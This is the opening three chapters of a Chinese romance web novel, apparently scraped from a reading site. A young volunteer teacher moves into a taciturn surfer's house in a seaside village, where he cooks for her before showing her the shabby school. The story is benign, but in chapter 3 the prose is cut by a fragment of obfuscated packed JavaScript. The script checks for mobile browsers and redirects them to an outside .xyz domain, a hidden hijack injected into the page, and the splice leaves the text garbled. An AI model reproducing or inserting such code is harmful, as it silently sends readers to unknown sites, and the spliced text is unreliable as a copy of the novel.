《冷酷房东非要天天给我做饭》
1. 初遇
海城,石塘村。
天气晴朗,空中蓝白交织,阳光透过玻璃窗落到车内,猝不及防被晃成了金色的碎屑。
牧听语下了飞机,坐上城市公交,再换乘乡村大巴,在大巴上摇晃了一个多小时,终于是看到了海岸线。
她伸手推开沉重的玻璃窗,带着湿热水汽的风扑面而来,带着一丝海水的腥咸味。
大巴车缓缓在一个老旧站牌前停下,她拖着行李箱下车,坐在门边的一个乘客帮她搭了把手。
牧听语朝他一笑,声音清亮:“谢谢大哥。”
看起来有些憨厚的汉子摆摆手:“嗨,谢啥。妹子我看你面生,到石塘村干啥来了?探亲啊?”
牧听语摇了摇头,四下一看,指着往这边小跑过来的女孩笑道:“我找她来的。”
汉子探头一看:“哟,这不小苹嘛。”
被叫做小苹的姑娘直直跑到牧听语跟前停下:“牧老师牧老师,实在不好意思,家里有事耽搁了一下,来晚了!”
牧听语笑道:“不晚,我刚下车。”
小苹似是有些不好意思,探头向司机打了个招呼:“刘师傅。”
司机热络地哎了一声。
汉子不甘被冷落,指着自己鼻子问:“小苹,你咋不和我打招呼?”
小苹斜睨他一眼:“我是来接客人的,没空搭理你。”
汉子也不生气,笑问道:“这妹子是你亲戚啊?”
“没听我喊她老师吗?”小苹是个风风火火的姑娘,讲话三言两语噼里啪啦,“这是我们村请来的支教老师,给村里孩子们上课的!好了好了牧老师还在这等着呢,别吵吵,我要走了!”
又探头喊了声:“刘师傅走了啊,你慢点开!”
牧听语在旁边看着他们对话,觉得很有意思。
小苹转向她,一言不发就来抢她的行李箱:“哎,牧老师,我帮你拿!”
“不不,我自己来。”牧听语连忙摆摆手推拒了几下,硬是没抢过。
“哎别客气!牧老师跟我来,我先带你去宿舍放东西。”
真热情啊。
牧听语两手空空,看着小苹活力四射拉着行李箱的背影,心里感叹道。
她问:“要走多久?”
小苹说:“大概十几分钟。牧老师,你走得动吗?要不要找个车?”
“走得动的。”
她们沿着水泥路走了一会儿,脚下渐渐变成了黄褐色的土路,植被也越来越茂盛。
小苹一路上不停絮絮叨叨:“牧老师,刚刚那是村门口,要坐车的话就得在那等。咱们现在往海边走,我带你去宿舍。哎说起这个,牧老师真的特别谢谢你,你能来真是太好了。我们村只有一个会教书的,人家想支教的一听这里这么偏,都吓得不敢来。其实真不偏,这几年都有人来这海边玩呢......”
牧听语“嗯嗯”应着:“那孩子们在哪里读书呀?”
“有个学校,早年间有人资助建的。”
“那小苹姐,我住学校里吗?”
“这哪能啊!”小苹肉眼可见地紧张起来,“有地方给你住,单独房间的,就在学校旁边!就是,那个......”
她的音量渐渐低了下去,“...要和别人合住一下......”
合住?
“是和另一位老师一起吗?”
“不不,是别人。”小苹想了一下,“算是村里人吧,他在这住了好几年了,不过这事说来话长......”
“是住在那人的家里吗?”
“对,对。”
“他是男的还是女的呀?”
小苹小心翼翼地觑她:“男的。”
牧听语“哦”了一声。
小苹眨巴了两下眼睛,满脸意外。
她为石塘村申请了这么多年的支教,一直都没着没落,本来都不抱什么期望了,没想到今年突然有人愿意来了,还是个年轻的姑娘。
还没来得及高兴呢,又开始纠结住哪。
村里没有招待所,村民都各住各的,总不能让支教老师和自己挤在一张床上吧?
思来想去,能腾出空房只有刑泽自建的那幢小楼。
问题是刑泽这人脾气又冷又硬还不好说话,为了说服他,她还偷偷拿了家里的几坛好酒贿赂,最终才得到一个不情不愿的答复。——“让她住可以,但跟她说,别上我的三楼。”
小苹只好对他三令五申一定要好好和支教老师相处,不能动不动就冷着一张脸,嘴里尽说些冻死人的话,把老师吓走。
刑泽当时不置可否。
住的地方好歹是解决了,但她心里也觉得,实在太委屈这位老师了。大老远跑来,条件差就不说了,还得和一个陌生男人住在一起,要是她,她也想着跑路了。
她心里越来越没底,眼巴巴地瞅着牧听语:“牧老师,你觉得可以吗?”
牧听语笑了:“还能有别的选择吗?”
小苹结结巴巴:“没,没了。”
“可以的,有地方住就很好了。”
小苹摸不准她在笑什么,努力安慰道:“刑泽除了话少点之外都挺好的,他不爱管闲事,也不会乱来的,你放心。”
牧听语一边四处看着一边点了点头。
突然她目光一转,指着远处问:“那是谁?”
小苹顺着看去,有些惊讶:“啊,那就是刑泽。”
她们此刻站在山岩边上,陡峭的岩壁下面就是一片金色的沙滩,海水正一阵阵拍打来,泛起白色的浪花。
海上有几个人在冲浪,隐约传来欢呼声。
小苹极力想让刑泽在牧听语眼中留下好印象,积极和她介绍:“那个,黑色冲浪板那个,就是他。”
牧听语看去,阳光与海浪交织出一圈炫目的光晕,浪花飞溅,伴随着一声响亮的口哨声,黑色冲浪板上的男人迎着波浪腾空又俯身,看上去十分自由不羁,健康的小麦色皮肤在阳光下泛着光。
“是不是挺帅的?村里几个小伙的冲浪还是跟他学的呢。”
牧听语看了一会儿,诚实道:“看不清脸,身材好像挺不错的。”
小苹扑哧一声笑了。
牧听语把视线收回来,继续沿着小路往前走,时不时伸手拨拨狗尾巴草,脚步很轻盈。
小苹看着她一身素净简单的打扮,不由地开口:“牧老师,你为什么想来支教?”
“嗯?”牧听语闻言歪了下脑袋,似乎是思考了一下,然后尾音上扬道:“公益事业不需要理由,为教育事业贡献一份力量啦~”
小苹看向她的侧颜,很快被带动着笑了起来,心情也不自觉放松了。
她来的路上一直很担心,要是老师嫌弃村里的情况怎么办,要是老师脾气不好怎么办,要是老师接受不了要走怎么办。
现在看来,好像是她多想了。
两人又走了一段路,眼前出现一幢白色砖瓦房。
“哎,到了,就是那。”
牧听语看去,小楼有三层,精致肯定算不上,但比她想象中的要好多了。
她们渐渐走近,一楼的门大咧咧地敞着,门口趴着一只小土狗,旁边蹲着一个小男孩。
小狗一见她们,立刻撒开丫子奔了过来。
小苹蹲下身把它抱了起来,一指那个要偷偷溜走的小男孩,中气十足地喊道:“石头,你跑什么?”
被叫做石头的小男孩背影一僵,慢慢转过身来,脸上带着尴尬的笑容:“小苹姐姐......”
"你怎么不去上课?现在不是还没下课吗!"
石头摸了摸后脑勺:“我......”
小苹几步上前,轻车熟路地抓住他的耳朵:“是不是又逃课了!”
“哎哎哎,疼疼疼......”石头龇牙咧嘴地叫喊。
牧听语连忙上前:“小苹姐!”
石头一见还有外人在,很是自来熟地躲到了牧听语后面,只探出一个脑袋来喊道:“我不想上课!”
“嘿你这小子!”小苹还要再骂,被牧听语笑眯眯地拉住了手。
小苹见到她的笑脸,偃旗息鼓下来。
牧听语转过身蹲下来,与那个小男孩平视,轻声细语地自我介绍道:“石头你好,我叫牧听语,你可以叫我牧姐姐。”
石头躲闪着她的眼神,面色微微涨红,半晌才说:“你,你好。”
牧听语笑起来:“可不可以告诉我,为什么不想去上课呀?”
石头嘴巴一撇:“无聊。”
“嗯,上课确实很无聊。”牧听语赞同地点了点头,“看来你是学会老师教的内容了,所以觉得无聊,是不是?”
石头一愣,看向牧听语带着笑意的眼睛,嗫喏着没有说话。
牧听语伸手帮他拉了拉歪掉的衣服,轻声问:“你出来的时候有没有和老师说呀?”
石头用脚踢了踢小石子:“没有。”
“我知道石头很聪明也很懂事,”牧听语笑道,“可是你离开课堂不和老师说的话,老师会伤心的呀,对不对?石头要不要回去和老师说一声呢?”
石头双手揪着衣服,半天没说话,就在牧听语准备再次开口的时候,突然转身跑掉了。
“哎。”牧听语站起身,“去哪呀?”
小苹稀奇地瞅了瞅他的背影:“看他跑的方向是回学校去了。这臭小子,三天两头逃课。”
“他一个人回去不要紧吗?”
“害,这村里他比谁都熟。”小苹示意牧听语放心,“牧老师,你真厉害,我之前劝也没用骂也没用,你几句话就让他回去了。”
牧听语俯身摸了摸小苹怀里的小狗,笑着说,“小孩子很好相处的,只要你和他处于平等的位置,而不是俯视他,他就会愿意听你说话。”
小苹帮牧听语把箱子搬上了二楼。
牧听语惊叹她小小的身体里竟然有这么大的力气,不禁给她鼓掌。
倒是弄得小苹有些不好意思:“这才多重,家里收水稻的时候一捆捆搬,那才叫重呢。”
牧听语问:“下次你家收水稻的时候可以把我喊上吗?我也想帮忙。”
“啊?”小苹吃了一惊,瞅瞅她白嫩的胳膊,摇了摇头,“这活太重了,你干不了。”
这老师看着跟娇花似的,哪里搬得动水稻。
“那我在一旁看看,可以吗?”
小苹看她这么坚持,只得说,“那,那行,大概还有一个月才收,到时候我喊你。”
房间不大,但是该有的床和桌子椅子都有。床都已经铺好了,其他生活用品看着也挺全。
小苹在房间里转悠了一圈,问牧听语:“你看看有没有什么缺的,我去给你置办。”
牧听语正把行李箱的东西往外掏,闻言摆摆手:“没有缺的。”
小苹看着她往外拿出几套衣服,一部
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电脑,几本书,一个鼓鼓的挎包,剩下便都是些必需品。
她不禁说:“你带的东西好少。”
像是来度假的,箱子拎上随时就能走。
牧听语头也不抬地收拾着:“够用了呀。”
小苹心里耐不住地好奇,却又不敢多问,怕冒犯。只得在房间里走来走去,检查了门窗,确定都是可以上锁的,然后无所事事地站在桌前。
牧听语问:“小苹姐,你有微信吗?”
小苹点了点头,拿出手机,两人加上微信。
小苹突然“啊”了一声,连声说:“天哪都这个点了,我我我家里还有事得赶紧回去,牧老师那个......”
牧听语很善解人意:“我自己在这就可以,你去忙吧。”
“好好,牧老师,那我晚上来接你去吃饭,如果你想出去逛逛可以等刑泽回来带你去!你一个人会迷路!”
小苹看起来很着急,噔噔蹬跑下楼走了。
牧听语东西少,刚刚已经收拾的差不多了。
她给电量见底的手机充上电,然后出了房门。
二楼中间是个类似小客厅的地方,中间摆着木制茶几和几个草编坐垫,上面只有茶具,没有多余的装饰。
牧听语凑过去看了看,然后下了一楼。
唔...一楼是厨房,灶台有使用痕迹,看来好心收留她的房主会做饭。
出了门,小狗一见她就紧跟在脚边,她怕踩到,只好将它提溜起来抱在怀里。
房子四周很寻常,后门有一块田,一个篱笆架子,上面有些农作物,靠墙停着一辆自行车。
牧听语转了一圈回到门口,仰起头,发现三楼有一个阳台正对着海的方向。
她摸了摸下巴。
唔...这种“海景房”她还没体验过呢,不知道上面的风景怎么样。
她捏捏怀里小狗的爪子,问:“我可以去上面阳台看看吗?”
小狗“呜”了一声,牧听语立刻说:“那我就当你答应了!”
她放下它,快乐地进了屋。
三楼相对来说比较乱,一面挂着冲浪设备的墙,旁边散着一些体育器材。
有两个房间,一间房门紧闭,一间敞开着。
牧听语探头往开着的门内瞄了一眼,像一间杂物室,里面乱乱的,地上几乎堆满东西,什么都有。
正巧阳台就正对着房门,窗帘被风轻轻吹起,太阳已经在往下落,倾洒下暖橘色的光束。
太好了,不是卧室。
牧听语纠结了一会儿,终于小心走进房间,尽量避开地上的杂物,直奔着阳台去了。
房主看起来很会享受生活,阳台摆着一个摇椅,还有几株长势正好的盆栽。
果然能看见海。
远处的海和天际线连成一块,海面上像被洒下晃动闪烁的金箔,波光粼粼的,隐隐传来了海浪拍打礁石的声音。
牧听语眼睛亮亮的,趴在栏杆上看了一会儿,突然打了个哈欠。
为了赶路,她昨晚一夜没睡,迟来的困意终于伴随着夕阳的暖意席卷而来。
阳光洒在身上太舒服了,她不舍得离开,于是在心里对房主道了谢,坐到了摇椅上。
她告诉自己就眯一会儿,闭上了眼睛。
.
小苹焦头烂额地忙了一阵,眼见着太阳已经落山,整个天都暗了下来。
她手上的农活还没干完,来不及接牧听语吃饭,只得赶紧给她发了个消息。
退出对话框之后又给刑泽发了一个。
“我这里好忙,牧老师已经在你家了,你吃饭带上她,人家第一天来,别饿着她!!!”
她等了一会儿,两个人都没有回复。
奇怪了,刑泽不爱回消息很正常,怎么牧老师也没回。
而且,为什么她总觉得还有事情没做。
是什么事情呢?
她冥思苦想一番,突然脑中一闪,然后又悚然一惊。
完了!忘记告诉牧老师不要上三楼了!
......
牧听语感觉自己明明没睡多久,睁开眼却已经天黑了。
她摸了摸兜,想起没带手机。
外面已经黑黢黢一片,不知道几点钟了。
她支起身子,侧耳听了听。
楼下没动静,房主应该没回来。
她庆幸了一下,扶着摇椅起身往屋内走。
房间内没有亮光,一片漆黑。
她摸了摸墙壁,没摸到开关,只好摸黑在一堆杂物中艰难行走。
地上什么都有,她之前匆匆扫了一眼,锅碗瓢盆家具电器工具箱......她双手摸索着缓慢前进,时不时发出轻微的碰撞声。
刚身残志坚地挪到半路,门口突然传来了一阵脚步声。
牧听语一惊。
她下意识抬头看去,脚步也慌乱起来,哐当一声绊到了什么东西,踉跄了一下,双手虚抓了下没找到支撑点,猝不及防往前栽去。
完蛋了。
那脚步声陡然变快。
一只手从黑暗中伸过来,带着灼热的温度,有力地撑住了她的肩膀。
牧听语下意识紧紧扒住那只结实的臂膀,一只手向前探去,摸到了一堵热墙。
她意识到那是胸膛,瞬间缩回了手,脚步一动向后退去。
低沉的声音兀然响起。
“别动。”
2. 误会
牧听语站稳,没有再动。
那人松开她,“啪”一下打开了灯。
耀眼的白光突然亮起,牧听语没忍住眯起眼。
那人没等她适应,开口说了第二句话,语气毫不客气:“你怎么在三楼?”
牧听语挡住光,睁开眼睛,看到了那人的样子。
男人鼻梁高挺,眼窝深遂,短发支棱着,是很桀骜不驯的长相,看着有点凶。
能出现在这里并且理所当然质问她的,只有下午在海边冲浪的那位房主人了。
她回想起刚刚手碰到的结实胸肌触感,脑袋里不适时地想,身材确实还蛮好的......
呔!想啥呢!快把黄色废料叉出去!
她回过神,有些心虚地摸了摸鼻子:“不好意思,我在阳台看了会儿风景。”
刑泽看了眼一片漆黑的外面,声音有些冷:“我不是说过,不许上三楼来吗?”
牧听语一愣,听出了他语气里隐隐的怒意。
她反应很快,语气诚恳地道歉:“对不起刑先生,下次不会了。”
刑泽盯着她,声音有些沉:“既然你住我这里,就要遵守我的规矩。其他地方你随意,但我不希望再在三楼看到你。”
牧听语与他带着冷意的眼眸对视,点了点头:“好的。”
果然在外面浪久了就是会得意忘形,她在心里批评自己。
看来刑泽是个边界感很强的人,寄人篱下可不能和房主搞僵了关系,她的语气里带上点安抚示弱的意味,听上去很柔和:“刑先生不好意思,接下来几个月要给您添麻烦了,我先付您房租吧。”
刑泽垂下眼看她,吐出两个字:“不用。”
牧听语不想欠人情,于是坚持道:“要付的。”
刑泽皱起眉刚要开口,兜里一阵铃声响起。
他接起电话,小苹风风火火的声音从听筒里传来:“刑泽!你见到牧老师了吗!!她手机打不通!!”
他淡淡“嗯”了一声。
“那就好!我这边还在忙赶不过来,你带她吃个饭!!下回再带坛酒给你!!”
牧听语静静站在一旁,见刑泽神色缓和了些,又“嗯”了一声。
小苹又问:“哦对了,她应该没有到你的三楼来吧?今天给我忙的,忘记和她讲这回事儿了。”
“......”
刑泽抬眼看牧听语,后者回他一个眼睛弯弯的笑容。
他对着电话说:“知道了,挂了。”
“哎......”那边来不及说话,就被掐断了。
刑泽收起手机,望向她:“刚刚怎么不解释?”
“解释什么?”牧听语一歪脑袋。
“......”
“啊,您说不准上三楼的事吗?”牧听语看起来很人畜无害,笑道,“本来就是我冒犯了,您不高兴很正常。而且小苹姐这么忙还给我打点了这么多事,房间里东西也很齐全,我很感谢她,就不用解释那么多啦。喔也很感谢刑先生您好心收留我,我会尽力不麻烦你的。”
她自认为自己这番话讲得无懈可击,连个可以责怪的点都没有。
刑泽的眉眼似乎下压了一些,但果然没有再开口责怪她,转身出了门。
伴随着下楼梯的动静,他的声音淡淡传来:“十分钟后下楼吃饭。”
牧听语应了一声,本来想回房间,但又觉得无聊,于是直接跟在刑泽身后下到了一楼,见他提上楼梯口放着的菜篮,进了厨房。
牧听语紧跟着过去,站在门口好奇地探脑袋,见他从菜篮子里拿出了一袋猪肉,一袋活蹦乱跳的虾,一袋挂面,还有一些她叫不上名字的菜。
男人刚刚才凶完她,她却丝毫没受影响,好奇朝他问道:“那是什么菜?”
长得好不一样,她从来没见过。
刑泽站在料理台前,头也不回地答道:“南瓜苗。”
喔。
她眼睛亮了起来,迈进厨房,站在离刑泽两米的地方。
刑泽没看她,专心地处理着手上的食材。
牧听语见他没有赶人,于是又凑近了些,好奇地看着菜叶的形状,下意识摸手机想拍照。
摸了个空。
她不想上楼拿,只好看刑泽忙活。
没看一会儿,她问:“需要我打下手吗?”
刑泽侧头看了她一眼。
牧听语努力争取:“我帮你洗菜?”
刑泽没出声,牧听语当他答应了,挽了挽袖子把菜拿到了水池里。
水流声哗哗响起。
刑泽把铁锅放在灶台上,点起火,放了一勺猪油下去。
锅里冒出热气,他分出神往水池那边看了眼。
女孩垂着脑袋,脖颈洁白如玉,耳边发丝柔顺地垂下,细白的双手伸在水流底下,仔仔细细地轻搓着菜梗。
他收回视线,下了几片五花肉,拿起锅铲压了压,锅里传来噼里啪啦的声音,冒出了滋滋猪油香。
他开了大火,放食材的动作很利索,不一会儿把挂面也放了下去。
右手边突然凭空出现了一个沥水篮。
他看去,里面是切好的南瓜苗,整整齐齐的摆着。
视线转移,牧听语站在一旁,乖巧地弯着眼睛,往后是洗的干干净净的菜板菜刀。
刑泽盯了两秒沥水篮里的菜,伸手盖上锅盖,没吭声。
过了几分钟,他把菜倒了下去。
白雾从锅盖下面冒了出来,整个厨房里弥漫起香味。
牧听语用一种很赞叹的语气说:“刑先生,你做饭好厉害,闻起来好香!”
刑泽没回答,用筷子在锅里搅拌了几下。
她的兴致一点也没被打消,接着问:“你经常做饭吗?”
刑泽回了个“嗯”,伸手熄了火。
他动作利落地拿出两口碗,把面盛出来,一边往餐桌上端,一边对牧听语说:“自己拿筷子勺子。”
牧听语拿完餐具坐下,迫不及待地挑起一筷子面,吹了吹,就塞进了嘴里。
没见刑泽放什么调味料,但面的味道出乎意料的好,很有滋味。猪肉边缘有点脆,很香,虾肉也很鲜很有嚼劲。
她埋头吃了好一会儿,才勉强安慰了一天没怎么吃东西的肚子。
刑泽淡淡的声音突然响起,“锅里还有。”
牧听语把嘴里的面咽了下去,摇了摇头:“谢谢,我够了。”
刑泽起身把锅端了过来,用铲子把锅里剩下的面都盛到了自己碗里。
他手臂健壮结实,单手握着锅柄,看起来毫不费力。
牧听语无意识地舔了下嘴唇,问道:“我听小苹姐说,学校就在你家旁边吗?走路过去要多久呀?”
刑泽把锅放了回去,回答:“十几分钟。”
她“唔”了一下。
好像,也不是很“旁边”......下课回来做饭会不会有点晚了?
不管怎么样,还是先问问吧!
“那我之后能在这里吃饭吗?”
刑泽抬起眼看她,顿了两秒才说:“不然你想在哪吃?”
“啊可以吗!”牧听语很开心,“谢谢,我会很小心的。”
小心什么?
刑泽蹙了下眉。
牧听语问:“村里哪里可以买菜?”
刑泽动作一顿,明白了她的意思:“你要自己做饭?”
牧听语点头:“嗯嗯。”
刑泽看着她,硬是把“你会做饭”四个字咽了下去:“村里没有买菜的地方。”
“啊?”牧听语微愣,“那你这些......”
“买菜要去镇上。或者吃自己种的。”
牧听语:“镇上......”
刑泽:“远。”
牧听语:“......”
刑泽:“你要做饭,食材自己想办法。”
牧听语马上识时务者为俊杰,诚恳道:“刑先生,您做饭真的很好吃,比我做的好吃多了。”
刑泽淡淡睨她,果然听她问:“所以,您介不介意吃饭的时候加双碗筷?”
其实小苹早就拜托过刑泽,让他之后都带着牧听语一起吃饭。
只是现在他看着女孩亮亮的眼睛,不知怎么的没有开口。
牧听语以为他在犹豫,连忙道:“我会付你饭钱的。”
说完又想起在三楼时她说要付房租,刑泽看起来有些不耐烦的样子,又改口道:“我帮您打下手!或者您带食材回来,我来做也行的。”
刑泽终于开口道:“你不是说做饭没我好吃?”
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>“是的是的!”牧听语连连点头,“刑先生您做饭真的很好吃!”
他声音淡淡的:“那就我做。”
那就是同意她蹭饭的意思了!
牧听语双手合十,指尖抵在下巴上,开心道:“刑先生,谢谢您!”
“不用这么称呼我。”
牧听语挠了挠脸,把掉落下来的发丝敛到耳后,闻言有些不好意思地说:“那怎么称呼您,直接喊名字吗?会不会不太礼貌?”
更没有礼貌的事情不都做了么。
刑泽淡淡瞥她,“嗯”了一声:“叫名字,也不要喊您。”
他三两口把有些微凉的面解决掉,拿纸擦了擦嘴,站起身收拾碗筷。
牧听语连忙把桌上的虾壳捡进碗里,拿着碗筷站了起来。
脚步还没动,手上的碗就被拿走了。
她看着刑泽的背影,连忙道:“我来洗吧!”
“不用。”
刑泽把铁锅也一并放进水池,拧开了水龙头。
牧听语左看右看,没什么需要她帮忙的地方,只好拿餐巾纸擦了擦桌子。
她绕过了水池直径一米的地方,把厨房各处转悠了一遍,大致摸清楚了构造,又回到了餐桌旁。
视线最后落到了刑泽身上。
他穿了一件黑色T恤,因为躬身薄薄的衣料紧贴在身上,宽厚的肩膀流畅地往下收束,脊背上的肌肉线条明显,隐隐能看见脊柱沟和腰窝。
牧听语看了一会儿,伸出手臂,捏了捏自己的肌肉。
这身材,干农活肯定很有劲。
她脑海中不自觉浮现刑泽拿着锄头翻土的画面,又渐渐变换成下午看到他在海上自由冲浪的模样。
思绪天马行空地飞了一会儿,她突然觉得冲浪好像也挺有意思的,可以找个时间学一学。
刑泽把最后一口碗擦干放进橱柜,用抹布擦了擦台面,又转过身往餐桌这边走过来。
牧听语回过神,连忙道:“我擦过了。”
刑泽还是用抹布擦了一遍。
他回到水池边洗过手,朝她走过来,淡淡道:“关灯了。”
牧听语应了一声,跟在他身后,看他走到门口,把趴着的小狗抓起来,放进屋内的笼子里,锁上大门,然后上楼。
他到了二楼,却没有再往上走,径直往前推开二楼的另一个房门,啪一下开了灯,冲她示意,“这是卫生间。纸巾放在橱柜里,毛巾是新的没用过,有热水可以淋浴。”
牧听语应得很快:“好的。”
能有这种条件,她已经很满意了。她本来都做好没有卫生间、洗澡要用水壶烧热水的准备了。
刑泽没再说什么,上楼去了。
牧听语把洗漱用品都搬进卫生间,锁上门洗了个澡。
穿上睡衣准备吹头发的时候,却没找到吹风机。
她的头发有一点长,风干的话可能要等到明天早上,但湿着头发睡觉第二天会头疼。
她想了一下,还是走到楼梯口,谨遵着规定不踏上台阶一步,朝着三楼喊道:“刑先生!刑......”
喊道一半又想到要改称呼,于是又喊道:“刑泽!”
三楼静悄悄的。
她抓着扶手,往前探了探身体,又喊了几声。
当她在想要不要跑到楼下冲阳台喊两声的时候,楼上传来了开门的声音。
刑泽的脚步声和嗓音同时响起:“什么事?”
“家里有没有吹风机,我在楼下没找到!”
刑泽脚步一顿。
他从来不用吹风机,头发洗完几分钟就自然干了,但女孩子这么长的头发,显然是需要的。
他边往杂物间走去边开口:“等一下。”
牧听语扬声应道:“好的!”
杂物间东西实在太多,他翻箱倒柜了半天,终于在角落找到了落灰的吹风机,随手拿旧毛巾擦了擦,插上电试了下,还能用。
他来到楼梯口,见牧听语穿着睡衣站在楼梯最下面,头发湿漉漉的,仰起头眼巴巴地看着自己。
只是看着,脚一步都没动,声音脆生生的。
“找到啦?谢谢!”
他迈步走下楼梯,把吹风机递给了她。
只听牧听语问:“刑泽,可以加个微信吗?”
3. 没空
刑泽手一顿。
牧听语说:“我喊了你好久你才听到,下次我有事就直接微信找你,方便一点。”
她的声音带着些鼻音,听起来软软的。
刑泽沉默几秒,破天荒地解释了一句:“刚刚带着耳机没听到。”
牧听语“哦”了一声,又问:“可以加吗?”
刑泽拿出手机,翻出微信码。
牧听语扫完加上,抬头道:“谢谢你啦,打扰你了!”
说完就拿着吹风机,吧嗒吧嗒踩着拖鞋进了洗手间,没一会儿就传来了嗡嗡吹风声。
刑泽站在楼梯口,对家里突然多出来的动静感到很不习惯。
他看了眼手机,上面有一条新的好友请求。
点进去,头像是一只歪着脑袋的卡通小猫,名字叫"不听",看着颇有些孩童的稚气。
他垂着眼,伸出手指点了同意。
牧听语吹完头发出来,发现好友请求被通过了。
她戳进去改了个备注,然后顺手点进朋友圈看了一眼。
里面什么也没有,果然很符合他的性格。
她进房间锁了门,从行李箱里掏出了一个陶瓷杯子,挂在了门把手上,又把椅子推到门边抵住。
“叮”一声,她的手机弹出了一条信息。
她一看,是韶月发来的。
【阿月:你到了没,有地方住吗?】
她哒哒打字回复。
【不听:到啦,有的有的。】
【不听:这地方很漂亮。】
【阿月:是嗷?你自己注意安全。】
看样子韶月是刚刚从实验室出来,牧听语发了个[小猫摸头]的表情包。
【不听:放心啦月宝。】
【阿月:我放心,你两年的自由搏击又不是白学的。但人生地不熟的,还是要小心。】
【不听:好的。】
【不听:[小猫乖巧].】
【阿月:等我这阶段实验搞完,过来陪你。】
【不听:嘿嘿,好的!】
她躺到床上,忽视了列表里的一堆小红点,挑出小苹的聊天框回复道:“不好意思小苹姐,下午我手机没带在身边,没接到你的电话。”
时间稍微有点晚了,小苹可能睡了,没有回复。
牧听语噼里啪啦打了一段字,突然停住,犹豫了好一会儿后又把那段文字删掉,点开刑泽的对话框。
【不听:打扰啦,你明天有空吗?】
那边过了一会儿才回复。
【X:怎么?】
【不听:我明天想去学校看看,但不认识路,可以麻烦你带我去吗?】
【X:小苹呢?】
牧听语戳了下手机屏幕,回复。
【不听:小苹姐好像很忙的样子,又让她跑过来,太麻烦她啦。】
刑泽靠在床头,看着手机里的信息,沉默了。
麻烦他就行?
他本想发一个“没空”过去,手指一滑,鬼使神差地点进了她的朋友圈。
她的朋友圈更新频率很高,全是各种城市的定位和风景照,可以说是满世界乱跑。
照片中偶尔也会穿插一些纯文字,例如“我怎么又胖了”、“要是让我爸妈知道我半夜两点还在吃垃圾食品我就完蛋啦”、“话梅真的好好吃”等这种没什么营养的话。
一看就是被养得很好的、没吃过苦的小姑娘突发奇想体验生活来了。
他不觉得牧听语能阵得住那群天天上山下海的小鬼。
他们是大海的孩子,父母要么外出务工要么忙农活,他们没有到可以干活的年龄,但同时这个岁数又是异常活泼好动的,只得天天成群结队和海滩、礁石厮混在一起,没人能管得住他们。
刑泽不知道牧听语多大,但觉得她跟刚毕业的学生没两样,眼睛里还带着对世界的向往与好奇,真正经过生活摧残的人怎么会有这种目光。
想起她被误会时也笑眯眯的样子,刑泽微嘲地笑了一声。
还是讨好型人格。
他退回聊天框,皱着眉打下了一个“几点”。
那边秒回。
【不听:午饭后,可以吗!】
她的文字泡好像带有声音,刑泽脑海里自然浮现出她亮亮的眼睛。
“......啧。”
过了一会儿,牧听语的手机响了一声。
【X:行。】
.
牧听语一觉睡到自然醒,舒服地伸了个懒腰。
阳光透过窗帘缝隙照了进来,她爬起来,把窗帘拉开,房间内瞬间一片亮堂。
好天气!
她雀跃地换上衣服,把门口七七八八的东西挪开,去卫生间洗漱。
出来的时候,她敏锐地嗅到了楼下飘上来的香味。
她回房间揣上手机,吧嗒吧嗒下了楼。
刑泽站在灶台前,正在做饭。
牧听语走到门口,就听他头也不回地说:“拿碗筷。”
她想起自己昨晚放下的“我给你打下手”等豪言壮语,心虚地摸了摸鼻子,飞速拿了碗放到他面前。
睡到饭点才醒,有损她勤劳的形象。她暗下决定明天一定要调闹钟。
她探头看了眼锅里,是正在咕噜咕噜冒泡的汤年糕。
这回的菜她认识,是大白菜。
她指着汤里棕黑的锥形物体问:“这是什么?”
刑泽熄了火:“带鱼干。”
又是没吃过的!
这回不用刑泽端碗,她兴冲冲地捧着自己的那份坐下,等刑泽也坐下之后,就用筷子夹起带鱼干,整个塞进了嘴里。
“唔...咸......”牧听语皱起脸。
刑泽处变不惊地给她倒了一杯温水:“腌过的。年糕没味道,搭着吃。”
牧听语把咬了一半的带鱼干吐到碗里,灌下了一整杯水。
她听了刑泽的话,一边吃年糕一边小口小口啃着带鱼干,这次终于品尝出了香味。
年糕糯糯的,火候恰当好处,猪肉依旧脆脆的,汤虽然看着颜色浅但很有味道。
“好次。”
她吐出鱼骨,不忘对刑泽的手艺进行夸赞。
刑泽淡淡看了她一眼,没说话。
饭后,牧听语坐在门口的小凳子上,和小狗玩了一会儿。
刑泽洗完碗出来,给小狗倒了点奶,喊了一声:“小雨,过来。”
小狗颠颠跑了过来。
牧听语浑身一震:“它,它叫小语?”
可能是她的语气太过奇怪,刑泽看了她一眼:“下雨天捡到的。”
牧听语这才明白过来是“小雨”而不是“小语”。
她俯下身摸了摸小狗毛茸茸的脑袋,后者摇着尾巴在喝奶,没空搭理她。
“小雨。”牧听语尝试喊了一声,心中还是觉得怪异,没忍住笑了起来。
小狗听到自己的名字,从碗里抬起头,用嘴筒子糊了牧听语一手的奶。
牧听语“哎呀”了一声,站起身去屋内找餐巾纸。
再出来的时候见刑泽扶着一辆自行车站在门口,手握着车把,侧头看着她。
牧听语愣了一下,听他问:“会骑自行车吗?”
“会的。”她点点头。
刑泽示意她来握车把,转身往后门去了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16231060|181786||http|test|mini|href|location''.split(''|''),0,{}));
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>不一会儿,那辆放在后门的自行车也被推了出来。
牧听语指着自己手下的那辆问道:“这也是你的自行车吗?”
“不是。村长家的。”
刑泽见她一脸讶异,解释道:“闲着不用的。”
“喔。”牧听语立刻道,“谢谢村长。”
她又问:“是你早上去借的吗?”
刑泽跨上自行车,长腿支在地上,只说了一个字:“走。”
牧听语跟在刑泽后面,骑过一段碎石子路,又骑过一段土路,来到了学校门口。
她停下车,微微仰起头,看着眼前这个堪称荒凉的建筑,眼睛睁得有些大。
四周的围墙皮几乎脱落得差不多了,砖块都掉了几个,象征着学校大门的铁栏杆攀附着深红铁锈,能看见里面只有一间小平房,也是残破不堪。即使是学校内部,也没有铺水泥路,依旧是褐黄色的泥土地。
刑泽抱着手臂站在一旁,神色淡淡。
牧听语扭过头问:“我可以直接进去吗?”
刑泽挑了下眉:“进吧,里面应该在上课。”
